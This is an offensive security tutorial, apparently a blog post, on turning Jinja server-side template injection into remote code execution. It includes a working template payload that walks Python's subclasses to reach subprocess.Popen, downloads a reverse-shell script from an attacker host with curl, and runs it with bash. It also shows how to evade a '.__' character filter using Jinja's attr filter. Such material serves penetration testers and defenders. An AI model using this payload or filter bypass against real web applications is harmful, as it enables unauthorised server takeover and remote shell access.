RCE w/ Jinja templates

In our previous article on server-side template injection (SSTI) attacks against Jinja, we only discussed leaking sensitive information using some Python builtins. That doesn’t do SSTI against Jinja must justice because we can definitely gain remote code execution (RCE) with a little bit of elbow grease.

What have to realize with Jinja is that we have access to all of the Python packages, classes, types, methods, etc. imported by the web application and currently available in the Python runtime at time of template injection. This means we have access to things like subprocess.Popen, os, sys etc.

Using the following dark magic, we can expose all classes available to us in the Python runtime through Jinja template injection:

{{ dict.mro()[-1].__subclasses__() }}

What do these incantations mean? mro stands for Method Resolution Order (MRO) and it’s a method inherited by every Python class that exposes the class order an object searches to find the implementation of a method in any of its parent classes. In the snippet above, we use the <class 'object'> class, always the last class in the MRO, to obtain access to all the subclasses of the <class 'object'> class.

The <class 'object'> class is the parent of all classes implemented in Python, giving us access to all global class definitions in the current runtime. Finally, we call the special __subclasses__ method that gives us a reference to all the subclasses of the <class 'object'> class in the current Python runtime, giving us the ability to instantiate arbitrary objects for any class in the current runtime. More on these builtin classes can be found below:

The following snippet is a Jinja template that uses subprocess.Popen to download a reverse shell bash script from the attacker host to the victim host, saving it to /tmp/reverse and then executing /tmp/reverse in bash to initiate a reverse shell callback to the attacker host:

{% set string = "" %}
{% set class = "__class__" %}
{% set mro = "__mro__" %}
{% set subclasses = "__subclasses__" %}
{% set mro_r = string|attr(class)|attr(mro) %}
{% set subclasses_r = mro_r[-1]|attr(subclasses)() %}
{{ subclasses_r }}
{% if subclasses_r[570](["curl", "http://{ATTACKER_HOST}:{ATTACKER_PORT}/reverse", "-o", "/tmp/reverse"]) %}
	{{ subclasses_r[570](["bash", "/tmp/reverse"]) }}
{% endif %}

Be wary of the index reference subclasses_r[570] - this won’t always be the same for all Python web applications vulnerable to Jinja SSTI. Like I mentioned earlier, every time a Python web application starts, the __subclasses__ order will change. Thus, we have to expose the entire list of __subclasses__ first, find the index of the subprocess.Popen subclass in the __subclasses__ list, and then use that for our follow-up RCE payload.

Bypassing Jinja template filters

The above snippet provides an example of bypassing Jinja template filters. In our case, we were avoiding the following bad characters:

  • .__ The Python web application would reject templates with any characters following that exact pattern. In order to access the __mro__ and __subclasses__ attributes of our string and <class 'object'> classes, we used the Jinja attr function to access class attributes and methods. We also used the Jinja {%%} directives to store the outcomes of our attribute and method calls.

We also use {% if %} and {% endif %} to spawn our download and execute subprocess.Popen calls consecutively instead of in parallel. More or bypassing Jinja template filters, or just really good example payloads, can be found on HackTricks: